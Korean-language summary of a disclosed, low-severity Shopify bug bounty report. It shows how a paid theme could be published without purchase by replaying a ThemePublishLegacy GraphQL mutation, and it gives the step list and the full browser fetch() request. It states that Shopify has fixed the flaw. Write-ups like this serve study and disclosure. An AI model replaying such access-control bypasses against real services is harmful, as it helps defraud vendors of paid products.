hackerone-shopify-2020-07-l-927567
Ability to publish a paid theme without purchasing it
유료 테마를 구매하지 않고도 사용할 수 있었다.
-
디폴트 테마가 설치되었고 퍼블리시되어 있는지 확인한다.
-
무료 테마를 설치한다.
-
유료 테마를 설치한다. (demo trial이 가능했다)
-
Customize 링크를 클릭하여 유료 테마의 ID를 알아내고, https://yourshop.myshopify.com/admin/themes/[theme_id]/editor 에 넣어 접근하고 저장한다.
-
2단계에서 설치한 무료 테마를 퍼블리시한다.
-
개발자 도구로
ThemePublishLegacy요청을 실행할 수 있게 준비한다.fetch("https://yourshop.myshopify.com/admin/online-store/admin/api/unversioned/graphql", { "headers": { "accept": "application/json", "accept-language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7", "cache-control": "no-cache", "content-type": "application/json", "pragma": "no-cache", "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "x-online-store-web": "1" }, "referrerPolicy": "no-referrer", "body": "{\"operationName\":\"ThemePublishLegacy\",\"variables\":{\"id\":\"gid://shopify/OnlineStoreTheme/[THEME_ID]\"},\"query\":\"mutation ThemePublishLegacy($id: ID!) {\\n onlineStoreThemePublish(id: $id) {\\n theme {\\n id\\n __typename\\n }\\n userErrors {\\n field\\n message\\n __typename\\n }\\n __typename\\n }\\n}\\n\"}", "method": "POST", "mode": "cors", "credentials": "include" }); -
위 요청에
..."body": "{\"operationName\":\"ThemePublishLegacy\",\"variables\":{\"id\":\"gid://shopify/OnlineStoreTheme/[THEME_ID]\"},\"query\":\"mutation...로 테마 ID를 수정한다. -
새로고침하여 유료 테마가 퍼블리시 된 것을 확인한다.
원래 유료 테마는 테마 평가판을 이용한다는 배지가 있는데, 이 방법으로 무료 테마를 이용하면 이 배지가 없고, 테마 이름을 바꾸거나 테마 다운로드, 수정 등을 할 수 있었다.
Shopify는 데모 테마 퍼블리시를 허용하지 않도록 변경하여 문제를 해결했다.
tags: bughunting, shopify, access control vulnerability, idor, wstg-athz-04, business-logic-vul, wstg-busl-02, web hacking, severity low